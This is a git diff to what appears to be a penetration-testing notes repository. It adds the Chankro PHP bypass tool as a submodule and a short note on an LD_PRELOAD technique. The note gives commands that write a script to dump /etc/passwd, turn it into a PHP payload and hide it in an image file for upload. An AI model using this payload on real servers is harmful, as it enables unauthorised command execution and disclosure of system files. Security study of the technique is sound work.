diff --git a/.gitmodules b/.gitmodules
index 46ded40..d2efa93 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -28,3 +28,6 @@
 [submodule "reverse_shells/One-Lin3r"]
 	path = reverse_shells/One-Lin3r
 	url = https://github.com/D4Vinci/One-Lin3r.git
+[submodule "exploit/web/php/Chankro"]
+	path = exploit/web/php/Chankro
+	url = https://github.com/TarlogicSecurity/Chankro.git
diff --git a/exploit/web/php/Chankro b/exploit/web/php/Chankro
new file mode 160000
index 0000000..7b6e844
--- /dev/null
+++ b/exploit/web/php/Chankro
@@ -0,0 +1 @@
+Subproject commit 7b6e844e18f6812beb18db4b67b246edcec04b84
diff --git a/exploit/web/php/preload_lib.md b/exploit/web/php/preload_lib.md
new file mode 100644
index 0000000..32a317e
--- /dev/null
+++ b/exploit/web/php/preload_lib.md
@@ -0,0 +1,15 @@
+# Preload Library
+
+* [Bug report](https://bugs.php.net/bug.php?id=46741)
+* [Chankro repo](https://github.com/TarlogicSecurity/Chankro.git)
+
+## Usage
+* Create lib, find path via `<URL>/phpinfo.php`
+```sh
+echo "#!/usr/bin/env bash" > rev.sh
+echo "cat /etc/passwd > <basepath>/output.txt" >> rev.sh
+
+python2 ./chankro.py --arch 64 --input rev.sh --output chan.php --path <basepath>
+```
+* Put into image file via exiftool or write magic header
+* Upload